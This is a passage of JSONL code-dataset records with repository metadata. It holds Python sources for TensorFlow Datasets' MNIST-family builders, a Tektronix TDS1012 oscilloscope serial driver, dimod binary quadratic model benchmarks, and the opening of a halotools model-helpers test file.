"max_forks_repo_name": "jeremiedecock/snippets", "max_forks_repo_head_hexsha": "4bd4e7f459eee610d5cf19f845299ca942ff4b64", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 7, "max_forks_repo_forks_event_min_datetime": "2017-10-31T09:48:14.000Z", "max_forks_repo_forks_event_max_datetime": "2022-01-04T15:59:45.000Z", "avg_line_length": 28.65, "max_line_length": 160, "alphanum_fraction": 0.5532286213, "include": true, "reason": "import numpy", "num_tokens": 140, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.47268347662043286, "lm_q2_score": 0.11436852316318395, "lm_q1q2_score": 0.054060111144718294}}
{"text": "# coding=utf-8\n# Copyright 2020 The TensorFlow Datasets Authors.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"MNIST, Fashion MNIST, KMNIST and EMNIST.\"\"\"\n\nimport os\nimport numpy as np\nfrom six.moves import urllib\nimport tensorflow.compat.v2 as tf\n\nimport tensorflow_datasets.public_api as tfds\n\n# MNIST constants\n# CVDF mirror of http://yann.lecun.com/exdb/mnist/\n_MNIST_URL = \"https://storage.googleapis.com/cvdf-datasets/mnist/\"\n_MNIST_TRAIN_DATA_FILENAME = \"train-images-idx3-ubyte.gz\"\n_MNIST_TRAIN_LABELS_FILENAME = \"train-labels-idx1-ubyte.gz\"\n_MNIST_TEST_DATA_FILENAME = \"t10k-images-idx3-ubyte.gz\"\n_MNIST_TEST_LABELS_FILENAME = \"t10k-labels-idx1-ubyte.gz\"\n_MNIST_IMAGE_SIZE = 28\nMNIST_IMAGE_SHAPE = (_MNIST_IMAGE_SIZE, _MNIST_IMAGE_SIZE, 1)\nMNIST_NUM_CLASSES = 10\n_TRAIN_EXAMPLES = 60000\n_TEST_EXAMPLES = 10000\n\n_MNIST_CITATION = \"\"\"\\\n@article{lecun2010mnist,\n  title={MNIST handwritten digit database},\n  author={LeCun, Yann and Cortes, Corinna and Burges, CJ},\n  journal={ATT Labs [Online]. Available: http://yann.lecun.com/exdb/mnist},\n  volume={2},\n  year={2010}\n}\n\"\"\"\n\n_FASHION_MNIST_CITATION = \"\"\"\\\n@article{DBLP:journals/corr/abs-1708-07747,\n  author    = {Han Xiao and\n               Kashif Rasul and\n               Roland Vollgraf},\n  title     = {Fashion-MNIST: a Novel Image Dataset for Benchmarking Machine Learning\n               Algorithms},\n  journal   = {CoRR},\n  volume    = {abs/1708.07747},\n  year      = {2017},\n  url       = {http://arxiv.org/abs/1708.07747},\n  archivePrefix = {arXiv},\n  eprint    = {1708.07747},\n  timestamp = {Mon, 13 Aug 2018 16:47:27 +0200},\n  biburl    = {https://dblp.org/rec/bib/journals/corr/abs-1708-07747},\n  bibsource = {dblp computer science bibliography, https://dblp.org}\n}\n\"\"\"\n\n_K_MNIST_CITATION = \"\"\"\\\n  @online{clanuwat2018deep,\n  author       = {Tarin Clanuwat and Mikel Bober-Irizar and Asanobu Kitamoto and Alex Lamb and Kazuaki Yamamoto and David Ha},\n  title        = {Deep Learning for Classical Japanese Literature},\n  date         = {2018-12-03},\n  year         = {2018},\n  eprintclass  = {cs.CV},\n  eprinttype   = {arXiv},\n  eprint       = {cs.CV/1812.01718},\n}\n\"\"\"\n\n_EMNIST_CITATION = \"\"\"\\\n@article{cohen_afshar_tapson_schaik_2017,\n    title={EMNIST: Extending MNIST to handwritten letters},\n    DOI={10.1109/ijcnn.2017.7966217},\n    journal={2017 International Joint Conference on Neural Networks (IJCNN)},\n    author={Cohen, Gregory and Afshar, Saeed and Tapson, Jonathan and Schaik, Andre Van},\n    year={2017}\n}\n\"\"\"\n\n\nclass MNIST(tfds.core.GeneratorBasedBuilder):\n  \"\"\"MNIST.\"\"\"\n  URL = _MNIST_URL\n\n  VERSION = tfds.core.Version(\"3.0.1\")\n\n  def _info(self):\n    return tfds.core.DatasetInfo(\n        builder=self,\n        description=(\"The MNIST database of handwritten digits.\"),\n        features=tfds.features.FeaturesDict({\n            \"image\": tfds.features.Image(shape=MNIST_IMAGE_SHAPE),\n            \"label\": tfds.features.ClassLabel(num_classes=MNIST_NUM_CLASSES),\n        }),\n        supervised_keys=(\"image\", \"label\"),\n        homepage=\"http://yann.lecun.com/exdb/mnist/\",\n        citation=_MNIST_CITATION,\n    )\n\n  def _split_generators(self, dl_manager):\n    \"\"\"Returns SplitGenerators.\"\"\"\n    # Download the full MNIST Database\n    filenames = {\n        \"train_data\": _MNIST_TRAIN_DATA_FILENAME,\n        \"train_labels\": _MNIST_TRAIN_LABELS_FILENAME,\n        \"test_data\": _MNIST_TEST_DATA_FILENAME,\n        \"test_labels\": _MNIST_TEST_LABELS_FILENAME,\n    }\n    mnist_files = dl_manager.download_and_extract(\n        {k: urllib.parse.urljoin(self.URL, v) for k, v in filenames.items()})\n\n    # MNIST provides TRAIN and TEST splits, not a VALIDATION split, so we only\n    # write the TRAIN and TEST splits to disk.\n    return [\n        tfds.core.SplitGenerator(\n            name=tfds.Split.TRAIN,\n            gen_kwargs=dict(\n                num_examples=_TRAIN_EXAMPLES,\n                data_path=mnist_files[\"train_data\"],\n                label_path=mnist_files[\"train_labels\"],\n            )),\n        tfds.core.SplitGenerator(\n            name=tfds.Split.TEST,\n            gen_kwargs=dict(\n                num_examples=_TEST_EXAMPLES,\n                data_path=mnist_files[\"test_data\"],\n                label_path=mnist_files[\"test_labels\"],\n            )),\n    ]\n\n  def _generate_examples(self, num_examples, data_path, label_path):\n    \"\"\"Generate MNIST examples as dicts.\n\n    Args:\n      num_examples (int): The number of example.\n      data_path (str): Path to the data files\n      label_path (str): Path to the labels\n\n    Yields:\n      Generator yielding the next examples\n    \"\"\"\n    images = _extract_mnist_images(data_path, num_examples)\n    labels = _extract_mnist_labels(label_path, num_examples)\n    data = list(zip(images, labels))\n\n    # Using index as key since data is always loaded in same order.\n    for index, (image, label) in enumerate(data):\n      record = {\"image\": image, \"label\": label}\n      yield index, record\n\n\nclass FashionMNIST(MNIST):\n  URL = \"http://fashion-mnist.s3-website.eu-central-1.amazonaws.com/\"\n\n  # TODO(afrozm): Try to inherit from MNIST's _info and mutate things as needed.\n  def _info(self):\n    return tfds.core.DatasetInfo(\n        builder=self,\n        description=(\"Fashion-MNIST is a dataset of Zalando's article images \"\n                     \"consisting of a training set of 60,000 examples and a \"\n                     \"test set of 10,000 examples. Each example is a 28x28 \"\n                     \"grayscale image, associated with a label from 10 \"\n                     \"classes.\"),\n        features=tfds.features.FeaturesDict({\n            \"image\":\n                tfds.features.Image(shape=MNIST_IMAGE_SHAPE),\n            \"label\":\n                tfds.features.ClassLabel(names=[\n                    \"T-shirt/top\", \"Trouser\", \"Pullover\", \"Dress\", \"Coat\",\n                    \"Sandal\", \"Shirt\", \"Sneaker\", \"Bag\", \"Ankle boot\"\n                ]),\n        }),\n        supervised_keys=(\"image\", \"label\"),\n        homepage=\"https://github.com/zalandoresearch/fashion-mnist\",\n        citation=_FASHION_MNIST_CITATION,\n    )\n\n\nclass KMNIST(MNIST):\n  URL = \"http://codh.rois.ac.jp/kmnist/dataset/kmnist/\"\n\n  def _info(self):\n    return tfds.core.DatasetInfo(\n        builder=self,\n        description=(\"Kuzushiji-MNIST is a drop-in replacement for the MNIST \"\n                     \"dataset (28x28 grayscale, 70,000 images), provided in \"\n                     \"the original MNIST format as well as a NumPy format. \"\n                     \"Since MNIST restricts us to 10 classes, we chose one \"\n                     \"character to represent each of the 10 rows of Hiragana \"\n                     \"when creating Kuzushiji-MNIST.\"),\n        features=tfds.features.FeaturesDict({\n            \"image\":\n                tfds.features.Image(shape=MNIST_IMAGE_SHAPE),\n            \"label\":\n                tfds.features.ClassLabel(names=[\n                    \"o\", \"ki\", \"su\", \"tsu\", \"na\", \"ha\", \"ma\", \"ya\", \"re\", \"wo\"\n                ]),\n        }),\n        supervised_keys=(\"image\", \"label\"),\n        homepage=\"http://codh.rois.ac.jp/kmnist/index.html.en\",\n        citation=_K_MNIST_CITATION,\n    )\n\n\nclass EMNISTConfig(tfds.core.BuilderConfig):\n  \"\"\"BuilderConfig for EMNIST CONFIG.\"\"\"\n\n  def __init__(self, *, class_number, train_examples, test_examples, **kwargs):\n    \"\"\"BuilderConfig for EMNIST class number.\n\n    Args:\n      class_number: There are six different splits provided in this dataset. And\n        have different class numbers.\n      train_examples: number of train examples\n      test_examples: number of test examples\n      **kwargs: keyword arguments forwarded to super.\n    \"\"\"\n    super(EMNISTConfig, self).__init__(\n        version=tfds.core.Version(\n            \"3.0.0\",\n            \"New split API (https://tensorflow.org/datasets/splits)\"),\n        **kwargs)\n    self.class_number = class_number\n    self.train_examples = train_examples\n    self.test_examples = test_examples\n\n\nclass EMNIST(MNIST):\n  \"\"\"Emnist dataset.\"\"\"\n  URL = \"https://www.itl.nist.gov/iaui/vip/cs_links/EMNIST/gzip.zip\"\n  VERSION = None  # Configs.\n\n  BUILDER_CONFIGS = [\n      EMNISTConfig(\n          name=\"byclass\",\n          class_number=62,\n          train_examples=697932,\n          test_examples=116323,\n          description=\"EMNIST ByClass\",\n\n      ),\n      EMNISTConfig(\n          name=\"bymerge\",\n          class_number=47,\n          train_examples=697932,\n          test_examples=116323,\n          description=\"EMNIST ByMerge\",\n      ),\n      EMNISTConfig(\n          name=\"balanced\",\n          class_number=47,\n          train_examples=112800,\n          test_examples=18800,\n          description=\"EMNIST Balanced\",\n      ),\n      EMNISTConfig(\n          name=\"letters\",\n          class_number=37,\n          train_examples=88800,\n          test_examples=14800,\n          description=\"EMNIST Letters\",\n      ),\n      EMNISTConfig(\n          name=\"digits\",\n          class_number=10,\n          train_examples=240000,\n          test_examples=40000,\n          description=\"EMNIST Digits\",\n      ),\n      EMNISTConfig(\n          name=\"mnist\",\n          class_number=10,\n          train_examples=60000,\n          test_examples=10000,\n          description=\"EMNIST MNIST\",\n      ),\n  ]\n\n  def _info(self):\n    return tfds.core.DatasetInfo(\n        builder=self,\n        description=(\n            \"The EMNIST dataset is a set of handwritten character digits \"\n            \"derived from the NIST Special Database 19 and converted to \"\n            \"a 28x28 pixel image format and dataset structure that directly \"\n            \"matches the MNIST dataset.\\n\\n\"\n            \"Note: Like the original EMNIST data, images provided here are \"\n            \"inverted horizontally and rotated 90 anti-clockwise. You can use \"\n            \"`tf.transpose` within `ds.map` to convert the images to a \"\n            \"human-friendlier format.\"),\n        features=tfds.features.FeaturesDict({\n            \"image\":\n                tfds.features.Image(shape=MNIST_IMAGE_SHAPE),\n            \"label\":\n                tfds.features.ClassLabel(\n                    num_classes=self.builder_config.class_number),\n        }),\n        supervised_keys=(\"image\", \"label\"),\n        homepage=(\"https://www.nist.gov/itl/products-and-services/\"\n                  \"emnist-dataset\"),\n        citation=_EMNIST_CITATION,\n    )\n\n  def _split_generators(self, dl_manager):\n    filenames = {\n        \"train_data\":\n            \"emnist-{}-train-images-idx3-ubyte.gz\".format(\n                self.builder_config.name),\n        \"train_labels\":\n            \"emnist-{}-train-labels-idx1-ubyte.gz\".format(\n                self.builder_config.name),\n        \"test_data\":\n            \"emnist-{}-test-images-idx3-ubyte.gz\".format(\n                self.builder_config.name),\n        \"test_labels\":\n            \"emnist-{}-test-labels-idx1-ubyte.gz\".format(\n                self.builder_config.name),\n    }\n\n    dir_name = os.path.join(dl_manager.download_and_extract(self.URL), \"gzip\")\n    extracted = dl_manager.extract({\n        k: os.path.join(dir_name, fname) for k, fname in filenames.items()\n    })\n\n    return [\n        tfds.core.SplitGenerator(\n            name=tfds.Split.TRAIN,\n            gen_kwargs=dict(\n                num_examples=self.builder_config.train_examples,\n                data_path=extracted[\"train_data\"],\n                label_path=extracted[\"train_labels\"],\n            )),\n        tfds.core.SplitGenerator(\n            name=tfds.Split.TEST,\n            gen_kwargs=dict(\n                num_examples=self.builder_config.test_examples,\n                data_path=extracted[\"test_data\"],\n                label_path=extracted[\"test_labels\"],\n            ))\n    ]\n\n\ndef _extract_mnist_images(image_filepath, num_images):\n  with tf.io.gfile.GFile(image_filepath, \"rb\") as f:\n    f.read(16)  # header\n    buf = f.read(_MNIST_IMAGE_SIZE * _MNIST_IMAGE_SIZE * num_images)\n    data = np.frombuffer(\n        buf,\n        dtype=np.uint8,\n    ).reshape(num_images, _MNIST_IMAGE_SIZE, _MNIST_IMAGE_SIZE, 1)\n    return data\n\n\ndef _extract_mnist_labels(labels_filepath, num_labels):\n  with tf.io.gfile.GFile(labels_filepath, \"rb\") as f:\n    f.read(8)  # header\n    buf = f.read(num_labels)\n    labels = np.frombuffer(buf, dtype=np.uint8).astype(np.int64)\n    return labels\n", "meta": {"hexsha": "130bcd361eec0d8ca3bc8cec10a63f466c7abb18", "size": 12761, "ext": "py", "lang": "Python", "max_stars_repo_path": "tensorflow_datasets/image_classification/mnist.py", "max_stars_repo_name": "ChAnYaNG97/datasets", "max_stars_repo_head_hexsha": "0a45e2ea98716d325fc1c5e5494f2575f3bdb908", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2020-10-11T19:15:49.000Z", "max_stars_repo_stars_event_max_datetime": "2020-10-11T19:15:49.000Z", "max_issues_repo_path": "tensorflow_datasets/image_classification/mnist.py", "max_issues_repo_name": "ChAnYaNG97/datasets", "max_issues_repo_head_hexsha": "0a45e2ea98716d325fc1c5e5494f2575f3bdb908", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tensorflow_datasets/image_classification/mnist.py", "max_forks_repo_name": "ChAnYaNG97/datasets", "max_forks_repo_head_hexsha": "0a45e2ea98716d325fc1c5e5494f2575f3bdb908", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2020-08-03T20:19:12.000Z", "max_forks_repo_forks_event_max_datetime": "2020-08-03T20:19:12.000Z", "avg_line_length": 34.5826558266, "max_line_length": 126, "alphanum_fraction": 0.6259697516, "include": true, "reason": "import numpy", "num_tokens": 3154, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4726834766204329, "lm_q2_score": 0.11436851863524132, "lm_q1q2_score": 0.054060109004434635}}
{"text": "# -*- coding: utf-8 -*-\n\"\"\"\n    lantz.drivers.legacy.tektronix.tds1012\n    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n    Implements the drivers to control an oscilloscope.\n\n    :copyright: 2015 by Lantz Authors, see AUTHORS for more details.\n    :license: BSD, see LICENSE for more details.\n    \n    Source: Tektronix Manual\n\"\"\"\n\nimport numpy as np\nfrom lantz.core import Action, Feat\nfrom lantz.core.errors import InvalidCommand\n\nfrom lantz.drivers.legacy.serial import SerialDriver\n\n\nclass TDS1012(SerialDriver):\n    \"\"\"Tektronix TDS1012 100MHz 2 Channel Digital Storage Oscilloscope\n    \"\"\"\n    ENCODING = 'ascii'\n\n    RECV_TERMINATION = '\\n'\n    SEND_TERMINATION = '\\n'\n    TIMEOUT = -1  # Avoids timeout while acquiring a curve. May not be the\n\n    # best option.\n\n    def __init__(self, port):\n        # super().TIMEOUT = 20\n        super().__init__(port)\n        super().initialize()  # Automatically open the port\n\n    @Action()\n    def initiate(self):\n        \"\"\" Initiates the acquisition in the osciloscope.\n        \"\"\"\n        self.send(':ACQ:STATE ON')\n\n    @Action()\n    def idn(self):\n        \"\"\" Identify the Osciloscope\n        \"\"\"\n        return self.query('*IDN?')\n\n    @Action()\n    def autoset(self):\n        \"\"\" Adjust the vertical, horizontal and trigger controls to display a \n            stable waveform.\n        \"\"\"\n        self.send('AUTOS EXEC')\n\n    @Action()\n    def autocal(self):\n        \"\"\" Autocalibration of osciloscope. It may take several minutes to \n            complete\n        \"\"\"\n        return self.send('*CAL')\n\n    @Feat(limits=(1, 2))\n    def datasource(self):\n        \"\"\" Retrieves the data source from which data is going to be taken. \n            TDS1012 has 2 channels\n        \"\"\"\n        return self.query('DAT:SOU?')\n\n    @datasource.setter\n    def datasource(self, value):\n        \"\"\" Sets the data source for the acquisition of data.\n        \"\"\"\n        self.send('DAT:SOU CH{}'.format(value))\n\n    @Action()\n    def acquire_parameters(self):\n        \"\"\" Acquire parameters of the osciloscope.\n            It is intended for adjusting the values obtained in acquire_curve\n        \"\"\"\n        values = 'XZE?;XIN?;PT_OF?;YZE?;YMU?;YOF?;'\n        answer = self.query('WFMP:{}'.format(values))\n        parameters = {}\n        for v, j in zip(values.split('?;'), answer.split(';')):\n            parameters[v] = float(j)\n        return parameters\n\n    @Action()\n    def data_setup(self):\n        \"\"\" Sets the way data is going to be encoded for sending. \n        \"\"\"\n        self.send('DAT:ENC ASCI;WID 2')  # ASCII is the least efficient way, but\n        # couldn't make the binary mode to work\n\n    @Action()\n    def acquire_curve(self, start=1, stop=2500):\n        \"\"\" Gets data from the oscilloscope. It accepts setting the start and \n            stop points of the acquisition (by default the entire range).\n        \"\"\"\n        parameters = self.acquire_parameters()\n        self.data_setup()\n        self.send('DAT:STAR {}'.format(start))\n        self.send('DAT:STOP {}'.format(stop))\n        data = self.query('CURV?')\n        data = data.split(',')\n        data = np.array(list(map(float, data)))\n        ydata = (data - parameters['YOF']) * parameters['YMU'] \\\n                + parameters['YZE']\n        xdata = np.arange(len(data)) * parameters['XIN'] + parameters['XZE']\n        return list(xdata), list(ydata)\n\n    @Action()\n    def forcetrigger(self):\n        \"\"\" Creates a trigger event. \n        \"\"\"\n        self.send('TRIG:FORC')\n        return\n\n    @Action()\n    def triggerlevel(self):\n        \"\"\" Sets the trigger level to 50% of the minimum and maximum values of \n            the signal. \n        \"\"\"\n        self.send('TRIG:MAI SETL')\n\n    @Feat(values={'AUTO', 'NORMAL'})\n    def trigger(self):\n        \"\"\" Retrieves trigger state.\n        \"\"\"\n        return self.query('TRIG:MAIN:MODE?')\n\n    @trigger.setter\n    def trigger(self, state):\n        \"\"\" Sets the trigger state.\n        \"\"\"\n        self.send('TRIG:MAI:MOD {}'.format(state))\n        return\n\n    @Feat()\n    def horizontal_division(self):\n        \"\"\" Horizontal time base division. \n        \"\"\"\n        return float(self.query('HOR:MAI:SCA?'))\n\n    @horizontal_division.setter\n    def horizontal_division(self, value):\n        \"\"\" Sets the horizontal time base division. \n        \"\"\"\n        self.send('HOR:MAI:SCA {}'.format(value))\n        return\n\n    @Feat(values={0, 4, 16, 64, 128})\n    def number_averages(self):\n        \"\"\" Number of averages\n        \"\"\"\n        answer = self.query('ACQ?')\n        answer = answer.split(';')\n        if answer[0] == 'SAMPLE':\n            return 0\n        elif answer[0] == 'AVERAGE':\n            return int(self.query('ACQ:NUMAV?'))\n        else:\n            raise InvalidCommand\n\n    @number_averages.setter\n    def number_averages(self, value):\n        \"\"\" Sets the number of averages. If 0, the it is a continous sample.\n        \"\"\"\n        if value == 0:\n            self.send('ACQ:MOD SAMPLE')\n        else:\n            self.send('ACQ:MOD AVE;NUMAV {}'.format(value))\n\n    @Action(values={'FREQ', 'MINI', 'MAXI', 'MEAN'})\n    def _measure(self, mode):\n        \"\"\" Measures the Frequency, Minimum, Maximum or Mean of a signal.\n        \"\"\"\n        self.send('MEASU:IMM:TYP {}'.format(mode))\n        return float(self.query('MEASU:IMM:VAL?'))\n\n    def measure_mean(self):\n        \"\"\" Gets the mean of the signal.\n        \"\"\"\n        answer = self._measure('MEAN')\n        return answer\n\n    def measure_frequency(self):\n        \"\"\" Gets the frequency of the signal.\n        \"\"\"\n        answer = self._measure('FREQ')\n        return answer\n\n    def measure_minimum(self):\n        \"\"\" Gets the minimum of the signal.\n        \"\"\"\n        answer = self._measure('MINI')\n        return answer\n\n    def measure_maximum(self):\n        \"\"\" Gets the mean of the signal.\n        \"\"\"\n        answer = self._measure('MAXI')\n        return answer\n\n\nif __name__ == '__main__':\n    import argparse\n\n    parser = argparse.ArgumentParser(description='Measure using TDS1012 and dump to screen')\n    parser.add_argument('-p', '--port', default='/dev/ttyS0',\n                        help='Serial port')\n    parser.add_argument('-v', '--view', action='store_true', default=True,\n                        help='View ')\n    parser.add_argument('-c', '--channel', default=1, type=int,\n                        help='Channel to use')\n\n    args = parser.parse_args()\n\n    osc = TDS1012(args.port)\n    osc.initiate()\n    print('Osciloscope Identification: {}'.format(osc.idn))\n    print(osc.trigger)\n    osc.forcetrigger()\n    osc.triggerlevel()\n    osc.trigger = \"AUTO\"\n    print(osc.trigger)\n\n    params = osc.acquire_parameters()\n\n    if args.view:\n        import matplotlib.pyplot as plt\n\n    if args.view:\n        osc.datasource = args.channel\n        x, y = osc.acquire_curve()\n        x = np.array(x)\n        x = x - x.min()\n        y = np.array(y)\n        plt.plot(x, y)\n        plt.show()\n", "meta": {"hexsha": "f437eedc8c1994391d57bba2ac57dcd4751700ed", "size": 6943, "ext": "py", "lang": "Python", "max_stars_repo_path": "lantz/drivers/legacy/tektronix/tds1012.py", "max_stars_repo_name": "mtsolmn/lantz-drivers", "max_stars_repo_head_hexsha": "f48caf9000ddd08f2abb837d832e341410af4788", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 4, "max_stars_repo_stars_event_min_datetime": "2019-05-04T00:10:53.000Z", "max_stars_repo_stars_event_max_datetime": "2020-10-22T18:08:40.000Z", "max_issues_repo_path": "lantz/drivers/legacy/tektronix/tds1012.py", "max_issues_repo_name": "mtsolmn/lantz-drivers", "max_issues_repo_head_hexsha": "f48caf9000ddd08f2abb837d832e341410af4788", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 3, "max_issues_repo_issues_event_min_datetime": "2019-07-12T13:44:17.000Z", "max_issues_repo_issues_event_max_datetime": "2020-10-22T19:32:08.000Z", "max_forks_repo_path": "lantz/drivers/legacy/tektronix/tds1012.py", "max_forks_repo_name": "mtsolmn/lantz-drivers", "max_forks_repo_head_hexsha": "f48caf9000ddd08f2abb837d832e341410af4788", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 9, "max_forks_repo_forks_event_min_datetime": "2019-04-03T17:07:03.000Z", "max_forks_repo_forks_event_max_datetime": "2021-02-15T21:53:55.000Z", "avg_line_length": 28.8091286307, "max_line_length": 92, "alphanum_fraction": 0.5670459456, "include": true, "reason": "import numpy", "num_tokens": 1670, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.47268347662043286, "lm_q2_score": 0.11436851561661297, "lm_q1q2_score": 0.05406010757757889}}
{"text": "# Copyright 2019 D-Wave Systems Inc.\n#\n#    Licensed under the Apache License, Version 2.0 (the \"License\");\n#    you may not use this file except in compliance with the License.\n#    You may obtain a copy of the License at\n#\n#        http://www.apache.org/licenses/LICENSE-2.0\n#\n#    Unless required by applicable law or agreed to in writing, software\n#    distributed under the License is distributed on an \"AS IS\" BASIS,\n#    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n#    See the License for the specific language governing permissions and\n#    limitations under the License.\n#\n# ================================================================================================\nimport itertools\nimport copy\n\nimport numpy as np\nimport dimod\n\nfrom benchmarks.common import Benchmark\n\n\nclass Construction(Benchmark):\n    def setup(self):\n        self.h_K100 = {v: 0 for v in range(100)}\n        self.J_K100 = {edge: 0 for edge in itertools.combinations(range(100), 2)}\n\n    def time_k100(self):\n        dimod.BinaryQuadraticModel(self.h_K100, self.J_K100, 0.0, dimod.SPIN)\n\n    def mem_k100(self):\n        return dimod.BinaryQuadraticModel(self.h_K100, self.J_K100, 0.0, dimod.SPIN)\n\n    def time_empty(self):\n        dimod.BinaryQuadraticModel({}, {}, 0.0, dimod.SPIN)\n\n    def mem_empty(self):\n        return dimod.BinaryQuadraticModel({}, {}, 0.0, dimod.SPIN)\n\n\nclass ConstructionVeryLarge(Benchmark):\n    def setup(self):\n        self.J_15000 = J = {}\n\n        # make a graph of approximately degree 15, 4394 nodes, 32617 edges\n        m = n = 13\n        t = 13\n        J.update((((i, j, 0, k0), (i, j, 1, k1)), 1)\n                 for i in range(n)\n                 for j in range(m)\n                 for k0 in range(t)\n                 for k1 in range(t))\n        J.update((((i, j, 1, k), (i, j+1, 1, k)), 1)\n                 for i in range(m)\n                 for j in range(n-1)\n                 for k in range(t))\n        J.update((((i, j, 0, k), (i+1, j, 0, k)), 1)\n                 for i in range(m-1)\n                 for j in range(n)\n                 for k in range(t))\n\n    def time_J15000(self):\n        dimod.BinaryQuadraticModel({}, self.J_15000, 0.0, dimod.SPIN)\n\n    def mem_J15000(self):\n        return dimod.BinaryQuadraticModel({}, self.J_15000, 0.0, dimod.SPIN)\n\n\nclass Copy(Benchmark):\n    def setup(self):\n        h_K100 = {v: 0 for v in range(100)}\n        J_K100 = {edge: 0 for edge in itertools.combinations(range(100), 2)}\n        self.bqm_k100 = dimod.BinaryQuadraticModel(h_K100, J_K100, 0.0, dimod.SPIN)\n\n        self.bqm_empty = dimod.BinaryQuadraticModel({}, {}, 0.0, dimod.SPIN)\n\n    def time_k100(self):\n        self.bqm_k100.copy()\n\n    def time_empty(self):\n        self.bqm_empty.copy()\n\n\nclass Deepcopy(Benchmark):\n    \"\"\"How long it takes to do a deep copy\"\"\"\n    def setup(self):\n        h_K100 = {v: 0 for v in range(100)}\n        J_K100 = {edge: 0 for edge in itertools.combinations(range(100), 2)}\n        self.bqm_k100 = dimod.BinaryQuadraticModel(h_K100, J_K100, 0.0, dimod.SPIN)\n\n        self.bqm_empty = dimod.BinaryQuadraticModel({}, {}, 0.0, dimod.SPIN)\n\n    def time_k100(self):\n        copy.deepcopy(self.bqm_k100)\n\n    def time_empty(self):\n        copy.deepcopy(self.bqm_empty)\n\n\nclass Energies(Benchmark):\n    def setup(self):\n        h_K100 = {v: 0 for v in range(100)}\n        J_K100 = {edge: 0 for edge in itertools.combinations(range(100), 2)}\n        self.bqm_k100 = dimod.BinaryQuadraticModel(h_K100, J_K100, 0.0, dimod.SPIN)\n\n        self.samples_1000x100 = np.ones((1000, 100), dtype=np.int8)\n\n    def time_k100(self):\n        self.bqm_k100.energies(self.samples_1000x100)\n", "meta": {"hexsha": "7602df6962ed5a437ebd20ad249914867614e568", "size": 3668, "ext": "py", "lang": "Python", "max_stars_repo_path": "benchmarks/benchmarks/bench_binary_quadratic_model.py", "max_stars_repo_name": "joseppinilla/dimod", "max_stars_repo_head_hexsha": "e33ca5045e31ee2d9d58515f017fb6be5276cd8e", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2019-07-12T18:43:48.000Z", "max_stars_repo_stars_event_max_datetime": "2019-07-12T18:43:48.000Z", "max_issues_repo_path": "benchmarks/benchmarks/bench_binary_quadratic_model.py", "max_issues_repo_name": "xpin/dimod", "max_issues_repo_head_hexsha": "5e399317b0bfaae6ed20e22b9f2ef242f5fa5e6c", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "benchmarks/benchmarks/bench_binary_quadratic_model.py", "max_forks_repo_name": "xpin/dimod", "max_forks_repo_head_hexsha": "5e399317b0bfaae6ed20e22b9f2ef242f5fa5e6c", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 32.75, "max_line_length": 98, "alphanum_fraction": 0.60087241, "include": true, "reason": "import numpy", "num_tokens": 1028, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4726834766204328, "lm_q2_score": 0.11436851410729881, "lm_q1q2_score": 0.05406010686415102}}
{"text": "\"\"\"\n\"\"\"\nimport numpy as np\nfrom astropy.tests.helper import pytest\nfrom astropy.utils.misc import NumpyRNGContext\n\nfrom ..model_helpers import custom_spline, create_composite_dtype\nfrom ..model_helpers import bounds_enforcing_decorator_factory, enforce_periodicity_of_box\nfrom ..model_helpers import call_func_table, bind_default_kwarg_mixin_safe\n\nfrom ...custom_exceptions import HalotoolsError\n\n__all__ = ('test_enforce_periodicity_of_box', 'test_custom_spline1',\n    'test_check_multiple_box_lengths', 'test_velocity_flip')\n\nfixed_seed = 43\n\n\ndef _func_maker(i):\n    def f(x):\n        return x + i\n    return f\n\n\ndef test_custom_spline1():\n    table_abscissa = (0, 1)\n    table_ordinates = (0, 1, 2)\n    with pytest.raises(HalotoolsError) as err:\n        __ = custom_spline(table_abscissa, table_ordinates)\n    substr = \"table_abscissa and table_ordinates must have the same length\"\n    assert substr in err.value.args[0]\n\n\ndef test_custom_spline2():\n    table_abscissa = (0, 1, 2)\n    table_ordinates = (0, 1, 2)\n    with pytest.raises(HalotoolsError) as err:\n        __ = custom_spline(table_abscissa, table_ordinates, k=-2)\n    substr = \"Spline degree must be non-negative\"\n    assert substr in err.value.args[0]\n\n\ndef test_custom_spline3():\n    table_abscissa = (0, 1, 2)\n    table_ordinates = (0, 1, 2)\n    with pytest.raises(HalotoolsError) as err:\n        __ = custom_spline(table_abscissa, table_ordinates, k=0)\n    substr = \"In spline_degree=0 edge case,\"\n    assert substr in err.value.args[0]\n\n\ndef test_create_composite_dtype():\n    dt1 = np.dtype([('x', 'f4')])\n    dt2 = np.dtype([('x', 'i4')])\n    with pytest.raises(HalotoolsError) as err:\n        result = create_composite_dtype([dt1, dt2])\n    substr = \"Inconsistent dtypes for 